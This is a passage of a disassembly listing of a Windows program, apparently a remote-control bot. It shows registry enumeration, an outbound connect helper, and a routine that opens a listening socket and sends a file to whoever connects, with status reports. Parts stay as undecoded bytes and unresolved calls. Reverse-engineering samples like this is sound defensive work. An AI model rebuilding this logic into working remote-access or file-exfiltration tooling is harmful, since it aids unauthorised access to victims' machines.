		imul	eax, 18h
		push	dword_44C54C[eax]
		call	sub_422680
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4183A8
		push	offset asc_44D810 ; "="
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx
		push	offset asc_44D814 ; "="
		push	0
		call	sub_4227D0
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	off_44C544[eax]
		push	offset dword_44D818
		lea	eax, [ebp+var_374]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		jmp	short loc_4183CF
; ---------------------------------------------------------------------------


loc_4183A8:				; CODE XREF: sub_4181FB+167j
		lea	eax, [ebp+var_64]
		push	eax
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	off_44C544[eax]
		push	offset dword_44D830
		lea	eax, [ebp+var_374]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_4183CF:				; CODE XREF: sub_4181FB+1ABj
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_374]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_374]
		push	eax
		call	sub_4173DC
		pop	ecx
		jmp	short loc_4183FD
; ---------------------------------------------------------------------------


loc_4183F8:				; CODE XREF: sub_4181FB+147j
		jmp	loc_41830A
; ---------------------------------------------------------------------------


loc_4183FD:				; CODE XREF: sub_4181FB+125j
					; sub_4181FB+1FBj
		push	[ebp+var_3FC]
		call	sub_41EC50
		pop	ecx


loc_418409:				; CODE XREF: sub_4181FB+109j
		jmp	short loc_41845C
; ---------------------------------------------------------------------------


loc_41840B:				; CODE XREF: sub_4181FB+B9j
		lea	eax, [ebp+var_3F4]
		push	eax
		mov	eax, [ebp+var_170]
		imul	eax, 18h
		push	off_44C544[eax]
		push	offset dword_44D848
		lea	eax, [ebp+var_374]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_374]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_374]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_41845C:				; CODE XREF: sub_4181FB+A3j
					; sub_4181FB:loc_418409j
		push	[ebp+var_3F8]
		call	dword_4E16DC	; RegCloseKey
		jmp	loc_418217
; ---------------------------------------------------------------------------

locret_41846D:				; CODE XREF: sub_4181FB+39j
		leave
		retn
sub_4181FB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_418492
		or	eax, 0FFFFFFFFh
		jmp	locret_418528
; ---------------------------------------------------------------------------


loc_418492:				; CODE XREF: .XComp0:00418488j
		push	10h
		push	0
		lea	eax, [ebp-18h]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp+0Ch]
		call	dword_4E1700	; ntohs
		mov	[ebp-16h], ax
		push	dword ptr [ebp+8]
		call	dword_4E1740	; inet_addr
		mov	[ebp-4], eax
		and	dword ptr [ebp-1Ch], 0
		cmp	dword ptr [ebp-4], 0FFFFFFFFh
		jnz	short loc_4184D7
		push	dword ptr [ebp+8]
		call	dword_4E1784	; gethostbyname
		mov	[ebp-1Ch], eax


loc_4184D7:				; CODE XREF: .XComp0:004184C9j
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_4184E8
		cmp	dword ptr [ebp-4], 0FFFFFFFFh
		jnz	short loc_4184E8
		or	eax, 0FFFFFFFFh
		jmp	short locret_418528
; ---------------------------------------------------------------------------


loc_4184E8:				; CODE XREF: .XComp0:004184DBj
					; .XComp0:004184E1j
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_4184FD
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		jmp	short loc_418503
; ---------------------------------------------------------------------------


loc_4184FD:				; CODE XREF: .XComp0:004184ECj
		mov	eax, [ebp-4]
		mov	[ebp-14h], eax


loc_418503:				; CODE XREF: .XComp0:004184FBj
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	dword ptr [ebp-8]
		call	dword_4E16A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418525
		push	dword ptr [ebp-8]
		call	dword_4E1798	; closesocket
		or	eax, 0FFFFFFFFh
		jmp	short locret_418528
; ---------------------------------------------------------------------------


loc_418525:				; CODE XREF: .XComp0:00418515j
		mov	eax, [ebp-8]

locret_418528:				; CODE XREF: .XComp0:0041848Dj
					; .XComp0:004184E6j ...
		leave
		retn
; ---------------------------------------------------------------------------
word_41852A	dw 8B55h		; DATA XREF: sub_4021E5+E25o
		dd 11BCB8ECh, 0A9E80000h, 56000099h, 8758B57h, 8D596D6Ah
		dd 0FFFE48BDh, 8BA5F3FFh, 45890845h, 0FC458BFCh, 1B080C7h
		dd 10000h, 75FF0000h, 50858DE8h, 50FFFFFEh, 0FFFF06E8h
		dd 895959FFh, 0FFFE4485h, 44BD83FFh, 0FFFFFFFEh, 60685875h
		dd 8D0044D8h, 0FFEE4485h, 35E850FFh, 59000094h,	0F47D8359h
		dd 6A217500h, 0F075FF00h, 0EE44858Dh, 8D50FFFFh, 0FFFF6885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF2A5EE8h, 14C483FFh, 0EE44858Dh
		dd 0E850FFFFh, 0FFFFEE1Ch, 0EC75FF59h, 0FF5239E8h, 16A59FFh
		dd 7A2EE890h, 18680241h, 0FF004E86h, 0FFFE44B5h, 4F01E8FFh
		dd 59590000h, 75FFF883h, 0D8846864h, 858D0044h,	0FFFFEE44h
		dd 93C6E850h, 59590000h, 0F47D83h, 6A2175h, 8DF075FFh
		dd 0FFEE4485h, 858D50FFh, 0FFFFFF68h, 44B5FF50h, 0E8FFFFFEh
		dd 0FFFF29EFh, 8D14C483h, 0FFEE4485h, 0ADE850FFh, 59FFFFEDh
		dd 0FE44B5FFh, 15FFFFFFh, 4E1798h, 0E8EC75FFh, 0FFFF51BEh
		dd 90016A59h, 4179B3E8h, 0E8646A02h, 2397E36h, 58016A90h
		dd 7474C085h, 100068h, 8D006A00h, 0FFEE4485h, 0A1E850FFh
		dd 8300008Dh, 6A0CC4h, 100068h,	44858D00h, 50FFFFEEh, 0FE44B5FFh
		dd 15FFFFFFh, 4E1718h, 27FC085h, 0B4683EEBh, 8D0044D8h
		dd 0FFEE4485h, 0EDE850FFh, 5900009Eh, 44858D59h, 50FFFFEEh
		dd 4B9BE8h, 0C0855900h,	18EB0275h, 0E890646Ah, 2397DCAh
		dd 12E80A6Ah, 59FFFF50h, 275C085h, 85EB02EBh, 44D8B868h
		dd 44858D00h, 50FFFFEEh, 92DFE8h, 83595900h, 7500F47Dh
		dd 0FF006A21h, 858DF075h, 0FFFFEE44h, 68858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 8E8FFFFh, 83FFFF29h, 858D14C4h, 0FFFFEE44h
		dd 0ECC6E850h, 0FF59FFFFh, 0FFFE44B5h, 9815FFFFh, 0FF004E17h
		dd 0D7E8EC75h, 59FFFF50h, 0CDE8006Ah, 90024178h, 0C2C95E5Fh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873A	proc near		; DATA XREF: sub_4021E5+4FD9o

var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= word ptr -0A14h
var_A12		= dword	ptr -0A12h
var_A04		= byte ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9F4		= dword	ptr -9F4h
var_9F0		= dword	ptr -9F0h
var_9EC		= dword	ptr -9ECh
var_9E8		= dword	ptr -9E8h
var_9E4		= dword	ptr -9E4h
var_8E4		= dword	ptr -8E4h
var_8E0		= dword	ptr -8E0h
var_8DC		= word ptr -8DCh
var_8D8		= dword	ptr -8D8h
var_8D4		= byte ptr -8D4h
var_6D4		= byte ptr -6D4h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= byte ptr -2CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A24h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	6Dh
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+1B0h], 1
		and	[ebp+var_1C8], 0
		and	[ebp+var_1C4], 0
		and	[ebp+var_8D8], 0
		push	1
		pop	eax
		test	eax, eax
		jz	loc_418C63
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_2D4], eax
		cmp	[ebp+var_2D4], 0FFFFFFFFh
		jnz	short loc_4187B9
		push	offset unk_44D8EC
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_418C63
; ---------------------------------------------------------------------------


loc_4187B9:				; CODE XREF: sub_41873A+65j
		push	10h
		push	0
		lea	eax, [ebp+var_A14]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_A14], 2
		push	0
		call	dword_4E1700	; ntohs
		mov	word ptr [ebp+var_A12],	ax
		and	[ebp+var_A12+2], 0
		push	10h
		lea	eax, [ebp+var_A14]
		push	eax
		push	[ebp+var_2D4]
		call	dword_4E172C	; bind
		test	eax, eax
		jz	short loc_41881C
		push	offset unk_44D910
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_418C63
; ---------------------------------------------------------------------------


loc_41881C:				; CODE XREF: sub_41873A+C8j
		mov	[ebp+var_A18], 10h
		lea	eax, [ebp+var_A18]
		push	eax
		lea	eax, [ebp+var_A14]
		push	eax
		push	[ebp+var_2D4]
		call	dword_4E16A4	; getsockname
		push	[ebp+var_A12]
		call	dword_4E1630	; ntohs
		mov	[ebp+var_8DC], ax
		and	[ebp+var_9EC], 0
		jmp	short loc_418869
; ---------------------------------------------------------------------------


loc_41885C:				; CODE XREF: sub_41873A+18Aj
		mov	eax, [ebp+var_9EC]
		inc	eax
		mov	[ebp+var_9EC], eax


loc_418869:				; CODE XREF: sub_41873A+120j
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp+var_9EC], eax
		ja	short loc_4188C6
		mov	eax, [ebp+var_9EC]


loc_418884:				; DATA XREF: .XComp0:005CAA09o
					; .XComp0:005CAA0Do ...
		movsx	eax, [ebp+eax+var_1A4]
		cmp	eax, 20h
		jnz	short loc_41889D
		mov	[ebp+var_A24], 5Fh
		jmp	short loc_4188B1
; ---------------------------------------------------------------------------


loc_41889D:				; CODE XREF: sub_41873A+155j
		mov	eax, [ebp+var_9EC]
		movsx	eax, [ebp+eax+var_1A4]
		mov	[ebp+var_A24], eax


loc_4188B1:				; CODE XREF: sub_41873A+161j
		mov	eax, [ebp+var_9EC]
		mov	cl, byte ptr [ebp+var_A24]
		mov	[ebp+eax+var_2CC], cl
		jmp	short loc_41885C
; ---------------------------------------------------------------------------


loc_4188C6:				; CODE XREF: sub_41873A+142j
		push	1
		push	[ebp+var_2D4]
		call	dword_4E1728	; listen
		test	eax, eax
		jz	short loc_4188F0
		push	offset unk_44D934
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_418C63
; ---------------------------------------------------------------------------


loc_4188F0:				; CODE XREF: sub_41873A+19Cj
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_1A4]
		push	eax
		call	near ptr 28713A9h
		nop
		mov	[ebp+var_8E4], eax
		cmp	[ebp+var_8E4], 0FFFFFFFFh
		jnz	short loc_418933
		push	offset unk_44D958
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_418C63
; ---------------------------------------------------------------------------


loc_418933:				; CODE XREF: sub_41873A+1DFj
		push	0
		push	[ebp+var_8E4]
		nop
		call	near ptr 2871072h
		mov	[ebp+var_8E0], eax
		push	[ebp+var_8E0]
		movzx	eax, [ebp+var_8DC]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40C86E
		pop	ecx
		push	eax
		call	dword_4E1740	; inet_addr
		push	eax
		call	dword_4E16FC	; ntohl
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	offset dword_44D978
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	0
		push	0
		lea	eax, [ebp+var_8D4]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40B00F
		add	esp, 14h
		mov	[ebp+var_9F4], 3Ch
		and	[ebp+var_9F0], 0
		and	[ebp+var_9E8], 0


loc_4189C3:				; CODE XREF: sub_41873A+301j
		and	[ebp+var_A20], 0
		jmp	short loc_4189D9
; ---------------------------------------------------------------------------


loc_4189CC:				; CODE XREF: sub_41873A:loc_4189FEj
		mov	eax, [ebp+var_A20]
		inc	eax
		mov	[ebp+var_A20], eax


loc_4189D9:				; CODE XREF: sub_41873A+290j
		mov	eax, [ebp+var_A20]
		cmp	eax, [ebp+var_9E8]
		jnb	short loc_418A00
		mov	eax, [ebp+var_A20]
		mov	eax, [ebp+eax*4+var_9E4]
		cmp	eax, [ebp+var_2D4]
		jnz	short loc_4189FE
		jmp	short loc_418A00
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41873A+2C0j
		jmp	short loc_4189CC
; ---------------------------------------------------------------------------


loc_418A00:				; CODE XREF: sub_41873A+2ABj
					; sub_41873A+2C2j
		mov	eax, [ebp+var_A20]
		cmp	eax, [ebp+var_9E8]
		jnz	short loc_418A37
		cmp	[ebp+var_9E8], 40h
		jnb	short loc_418A37
		mov	eax, [ebp+var_A20]
		mov	ecx, [ebp+var_2D4]
		mov	[ebp+eax*4+var_9E4], ecx
		mov	eax, [ebp+var_9E8]
		inc	eax
		mov	[ebp+var_9E8], eax


loc_418A37:				; CODE XREF: sub_41873A+2D2j
					; sub_41873A+2DBj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4189C3
		lea	eax, [ebp+var_9F4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_9E8]
		push	eax
		push	0
		call	dword_4E16E8	; select
		test	eax, eax
		jg	short loc_418A7F
		push	0
		push	[ebp+var_18]
		push	offset dword_44D990
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40B00F
		add	esp, 14h
		jmp	loc_418C63
; ---------------------------------------------------------------------------


loc_418A7F:				; CODE XREF: sub_41873A+31Fj
		mov	[ebp+var_A1C], 10h
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_A04]
		push	eax
		push	[ebp+var_2D4]
		call	dword_4E1794	; accept
		mov	[ebp+var_1BC], eax
		cmp	[ebp+var_1BC], 0FFFFFFFFh
		jnz	short loc_418ACA
		push	offset unk_44D9A8
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_418C63
; ---------------------------------------------------------------------------


loc_418ACA:				; CODE XREF: sub_41873A+376j
		push	[ebp+var_2D4]
		call	dword_4E1798	; closesocket


loc_418AD6:				; CODE XREF: sub_41873A+4D3j
		cmp	[ebp+var_8E0], 0
		jz	loc_418C12
		mov	[ebp+var_C], 400h
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8E0]
		jle	short loc_418AFE
		mov	eax, [ebp+var_8E0]
		mov	[ebp+var_C], eax


loc_418AFE:				; CODE XREF: sub_41873A+3B9j
		xor	eax, eax
		sub	eax, [ebp+var_8E0]
		mov	[ebp+var_2D0], eax
		push	400h
		push	0
		lea	eax, [ebp+var_6D4]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_2D0]
		push	[ebp+var_8E4]
		call	near ptr 28A1045h
		nop
		push	0
		lea	eax, [ebp+var_8D8]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_6D4]
		push	eax
		push	[ebp+var_8E4]
		call	near ptr 2850000h
		nop
		push	0
		push	[ebp+var_C]
		lea	eax, [ebp+var_6D4]
		push	eax
		push	[ebp+var_1BC]
		call	dword_4E1750	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cdq
		mov	ecx, [ebp+var_1C8]
		add	ecx, eax
		mov	eax, [ebp+var_1C4]
		adc	eax, edx
		mov	[ebp+var_1C8], ecx
		mov	[ebp+var_1C4], eax
		push	0
		push	400h
		lea	eax, [ebp+var_6D4]
		push	eax
		push	[ebp+var_1BC]
		call	dword_4E1718	; recv
		cmp	eax, 1
		jl	short loc_418BB7
		cmp	[ebp+var_4], 1
		jge	short loc_418BFE


loc_418BB7:				; CODE XREF: sub_41873A+475j
		push	0
		push	[ebp+var_18]
		push	offset dword_44D9CC
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40B00F
		add	esp, 14h
		push	offset dword_44D9E4
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_1BC]
		call	dword_4E1798	; closesocket
		push	[ebp+var_1C]
		call	sub_40D802
		pop	ecx
		push	1
		call	near ptr 2830000h
		nop


loc_418BFE:				; CODE XREF: sub_41873A+47Bj
		mov	eax, [ebp+var_8E0]
		sub	eax, [ebp+var_4]
		mov	[ebp+var_8E0], eax
		jmp	loc_418AD6
; ---------------------------------------------------------------------------


loc_418C12:				; CODE XREF: sub_41873A+3A3j
		cmp	[ebp+var_8E4], 0FFFFFFFFh
		jz	short loc_418C27
		push	[ebp+var_8E4]
		call	near ptr 2790578h
		nop


loc_418C27:				; CODE XREF: sub_41873A+4DFj
		push	[ebp+var_1C4]
		push	[ebp+var_1C8]
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_A00]
		call	dword_4E178C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	offset dword_44D9FC
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4219C0
		add	esp, 14h


loc_418C63:				; CODE XREF: sub_41873A+46j
					; sub_41873A+7Aj ...
		cmp	[ebp+var_14], 0
		jnz	short loc_418C8A
		push	0
		push	[ebp+var_18]
		lea	eax, [ebp+var_8D4]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40B00F
		add	esp, 14h


loc_418C8A:				; CODE XREF: sub_41873A+52Dj
		lea	eax, [ebp+var_8D4]
		push	eax
		call	sub_4173DC
		pop	ecx
		cmp	[ebp+var_2D4], 0
		jbe	short loc_418CAC
		push	[ebp+var_2D4]
		call	dword_4E1798	; closesocket


loc_418CAC:				; CODE XREF: sub_41873A+564j
		push	[ebp+var_1BC]
		call	dword_4E1798	; closesocket
		push	[ebp+var_1C]
		call	sub_40D802
		pop	ecx
		push	0
		call	near ptr 2830000h
		nop
		pop	edi
		pop	esi
		leave
		retn	4
sub_41873A	endp

; ---------------------------------------------------------------------------
byte_418CCF	db 55h			; DATA XREF: sub_4021E5+C8Eo
		dd 0D4B8EC8Bh, 0E8000014h, 9204h, 758B5756h, 596D6A08h
		dd 0FE44BD8Dh, 0A5F3FFFFh, 8908458Bh, 458BFC45h, 0B080C7FCh
		dd 1000001h, 83000000h,	6800F865h, 104h, 0FD40858Dh, 9050FFFFh
		dd 3972EBE8h, 60858D02h, 50FFFFFEh, 0FD40858Dh,	6850FFFFh
		dd 44DA28h, 0FD40858Dh,	0E850FFFFh, 8C8Ch, 6A10C483h, 0C0855801h
		dd 216840Fh, 6A0000h, 8068h, 6A026A00h,	68016A00h, 40000000h
		dd 0FD40858Dh, 9050FFFFh, 458648E8h, 2C858902h,	83FFFFEBh
		dd 0FFEB2CBDh, 1875FFFFh, 44DA3068h, 34858D00h,	50FFFFEBh
		dd 8C3FE8h, 0E9595900h,	1D0h, 0EB2CB5FFh, 0E890FFFFh, 23777E4h
		dd 44DA6068h, 40858D00h, 50FFFFFDh, 864BE8h, 89595900h
		dd 0FFFD3485h, 34BD83FFh, 0FFFFFDh, 64681875h, 8D0044DAh
		dd 0FFEB3485h, 0F9E850FFh, 5900008Bh, 18AE959h,	75FF0000h
		dd 4C858DE4h, 50FFFFFEh, 0FFF692E8h, 895959FFh,	0FFFD3C85h
		dd 3CBD83FFh, 0FFFFFFFDh, 90681875h, 8D0044DAh,	0FFEB3485h
		dd 0C1E850FFh, 5900008Bh, 152E959h, 85C70000h, 0FFFFEB30h
		dd 1, 0EB30BD83h, 0F00FFFFh, 10B84h, 10006800h,	6A0000h
		dd 0ED34858Dh, 0E850FFFFh, 85E0h, 6A0CC483h, 10006800h
		dd 858D0000h, 0FFFFED34h, 3CB5FF50h, 0FFFFFFFDh, 4E171815h
		dd 30858900h, 83FFFFEBh, 0FFEB30BDh, 57500FFh, 0C7E9h
		dd 30BD8300h, 0FFFFFFEBh, 0B0686A75h, 8D0044DAh, 0FFEB3485h
		dd 45E850FFh, 5900008Bh, 0FF006A59h, 858DEC75h,	0FFFFEB34h
		dd 64858D50h, 50FFFFFFh, 0FE44B5FFh, 74E8FFFFh,	83FFFF21h
		dd 858D14C4h, 0FFFFEB34h, 0E532E850h, 0FF59FFFFh, 0FFFD34B5h
		dd 5D9AE8FFh, 0FF590000h, 0FFFD3CB5h, 9815FFFFh, 0FF004E17h
		dd 37E8E875h, 59FFFF49h, 2DE8016Ah, 90024171h, 0FD34B5FFh
		dd 0B5FFFFFFh, 0FFFFEB30h, 858D016Ah, 0FFFFED34h, 0AF92E850h
		dd 0C4830000h, 0F8458B10h, 0EB308503h, 4589FFFFh, 0F875FFF8h
		dd 16FC15FFh, 8589004Eh, 0FFFFFD38h, 46A006Ah, 0FD38858Dh
		dd 0FF50FFFFh, 0FFFD3CB5h, 5015FFFFh, 0E9004E17h, 0FFFFFEE8h
		dd 99F8458Bh, 81E85052h, 59000007h, 858D5059h, 0FFFFFE4Ch
		dd 60858D50h, 50FFFFFEh, 44DAC868h, 34858D00h, 50FFFFEBh
		dd 8A6BE8h, 14C48300h, 0F07D83h, 6A2175h, 8DEC75FFh, 0FFEB3485h
		dd 858D50FFh, 0FFFFFF64h, 44B5FF50h, 0E8FFFFFEh, 0FFFF2093h
		dd 8D14C483h, 0FFEB3485h, 51E850FFh, 59FFFFE4h,	0FD34BD83h
		dd 7400FFFFh, 34B5FF0Ch, 0E8FFFFFDh, 5CB0h, 3CBD8359h
		dd 0FFFFFDh, 0B5FF0C76h, 0FFFFFD3Ch, 179815FFh,	75FF004Eh
		dd 4844E8E8h, 6A59FFFFh, 703AE800h, 5F900241h, 4C2C95Eh
		db 0
byte_418FCD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_4021E5+6D83o
					; sub_4021E5+75E3o
		dd 54CEC81h, 57560000h,	0B908758Bh, 0AAh, 0FD54BD8Dh, 0A5F3FFFFh
		dd 8908458Bh, 0FFFD4085h, 40858BFFh, 0C7FFFFFDh, 2A480h
		dd 100h, 2 dup(6A006A00h), 0D8858D00h, 50FFFFFDh, 16B035FFh
		dd 15FF004Eh, 4E1604h, 0FD488589h, 0BD83FFFFh, 0FFFFFD48h
		dd 0BF840F00h, 6A000005h, 6A006A00h, 6A006A02h,	6800h
		dd 858D4000h, 0FFFFFED8h, 5EE89050h, 89024583h,	0FFFB3485h
		dd 34BD83FFh, 1FFFFFBh,	858D6073h, 0FFFFFED8h, 0DAF46850h
		dd 858D0044h, 0FFFFFB40h, 894EE850h, 0C4830000h, 0F07D830Ch
		dd 6A217500h, 0F475FF00h, 0FB40858Dh, 8D50FFFFh, 0FFFD5885h
		dd 0B5FF50FFh, 0FFFFFD54h, 0FF1F76E8h, 14C483FFh, 0FB40858Dh
		dd 0E850FFFFh, 0FFFFE334h, 0D875FF59h, 0FF4751E8h, 6A59FFh
		dd 6F46E890h, 0A5830241h, 0FFFFFD44h, 0D7E89000h, 89023B76h
		dd 0FFFB3C85h, 0D00068FFh, 0C9E80007h, 5900005Ch, 0FB388589h
		dd 68FFFFh, 6A000002h, 40858D00h, 50FFFFFBh, 831FE8h, 0CC48300h
		dd 0FD50858Dh, 6850FFFFh, 200h,	0FB40858Dh, 0FF50FFFFh
		dd 0FFFD48B5h, 0C15FFFFh, 83004E16h, 7400EC7Dh,	50B5FF14h
		dd 8DFFFFFDh, 0FFFB4085h, 37E850FFh, 59000005h,	8D006A59h
		dd 0FFFD4C85h, 0B5FF50FFh, 0FFFFFD50h, 0FB40858Dh, 0FF50FFFFh
		dd 0FFFB34B5h, 8EE890FFh, 81024276h, 0FFFD44BDh, 7D000FFh
		dd 0B84D7300h, 7D000h, 0FD44852Bh, 8589FFFFh, 0FFFFFB2Ch
		dd 0FB2C858Bh, 853BFFFFh, 0FFFFFD50h, 858B0C76h, 0FFFFFD50h
		dd 0FB2C8589h, 0B5FFFFFFh, 0FFFFFB2Ch, 0FB40858Dh, 8B50FFFFh
		dd 0FFFB3885h, 448503FFh, 50FFFFFDh, 99ABE8h, 0CC48300h
		dd 0FD44858Bh, 8503FFFFh, 0FFFFFD50h, 0FD448589h, 7D83FFFFh
		dd 0D7400E4h, 0FD44858Bh, 453BFFFFh, 0EB0276E4h, 0DC7D836Fh
		dd 8B2F7401h, 0FFFD4485h, 0AE8C1FFh, 0D8858D50h, 50FFFFFDh
		dd 44DB1C68h, 0D8458B00h, 234C069h, 18050000h, 50004544h
		dd 87C3E8h, 10C48300h, 858B2DEBh, 0FFFFFD44h, 500AE8C1h
		dd 0FDD8858Dh, 6850FFFFh, 44DB44h, 69D8458Bh, 234C0h, 44180500h
		dd 0E8500045h, 8794h, 8310C483h, 0FFFD50BDh, 870F00FFh
		dd 0FFFFFEA2h, 0FB3085C7h, 1FFFFh, 7D830000h, 5D7400E4h
		dd 0FD44858Bh, 453BFFFFh, 835274E4h, 0FFFB30A5h, 75FF00FFh
		dd 44B5FFE4h, 68FFFFFDh, 44DB6Ch, 0FB40858Dh, 0E850FFFFh
		dd 8748h, 6A10C483h, 0F475FF00h, 0FB40858Dh, 8D50FFFFh
		dd 0FFFD5885h, 0B5FF50FFh, 0FFFFFD54h, 0FF1D76E8h, 14C483FFh
		dd 0FB40858Dh, 0E850FFFFh, 0FFFFE134h, 0EFE89059h, 2B023B74h
		dd 0FFFB3C85h, 0B9D233FFh, 3E8h, 0C88BF1F7h, 44858B41h
		dd 33FFFFFDh, 89F1F7D2h, 0B5FFFC45h, 0FFFFFB34h, 729EE890h
		dd 0B5FF0237h, 0FFFFFB38h, 664BE8h, 7D835900h, 707400E8h
		dd 0FED8858Dh, 0E850FFFFh, 0FFFE7DF3h, 28858959h, 8BFFFFFBh
		dd 0FFFB2885h, 0E8453BFFh, 0A5835274h, 0FFFFFB30h, 0E875FF00h
		dd 0FB28B5FFh, 9868FFFFh, 8D0044DBh, 0FFFB4085h, 95E850FFh
		dd 83000086h, 6A10C4h, 8DF475FFh, 0FFFB4085h, 858D50FFh
		dd 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1CC3h, 8D14C483h
		dd 0FFFB4085h, 81E850FFh, 59FFFFE0h, 0FB30BD83h, 7500FFFFh
		dd 2F0E905h, 7D830000h,	840F01DCh, 108h, 89FC458Bh, 0FFFACC85h
		dd 0D0A583FFh, 0FFFFFAh, 0FACCADDFh, 35DCFFFFh,	43E478h
		dd 1CDD5151h, 0D8858D24h, 50FFFFFEh, 0FD44858Bh, 8589FFFFh
		dd 0FFFFFAC4h, 0FAC8A583h, 0DF00FFFFh, 0FFFAC4ADh, 7835DCFFh
		dd 510043E4h, 241CDD51h, 44DBC068h, 40858D00h, 50FFFFFBh
		dd 85EFE8h, 1CC48300h, 0F07D83h, 6A2175h, 8DF475FFh, 0FFFB4085h
		dd 858D50FFh, 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1C17h
		dd 8D14C483h, 0FFFB4085h, 0D5E850FFh, 59FFFFDFh, 1E07D83h
		dd 56A6975h, 6A006Ah, 0FED8858Dh, 6850FFFFh, 44DBF8h, 15FF006Ah
		dd 4E166Ch, 0F07D83h, 858D4975h, 0FFFFFED8h, 0DC006850h
		dd 858D0044h, 0FFFFFB40h, 857AE850h, 0C4830000h, 0FF006A0Ch
		dd 858DF475h, 0FFFFFB40h, 58858D50h, 50FFFFFDh,	0FD54B5FFh
		dd 0A8E8FFFFh, 83FFFF1Bh, 858D14C4h, 0FFFFFB40h, 0DF66E850h
		dd 0E959FFFFh, 170h, 89FC458Bh,	0FFFABC85h, 0C0A583FFh
		dd 0FFFFFAh, 0FABCADDFh, 35DCFFFFh, 43E478h, 1CDD5151h
		dd 0D8858D24h, 50FFFFFEh, 0FD44858Bh, 8589FFFFh, 0FFFFFAB4h
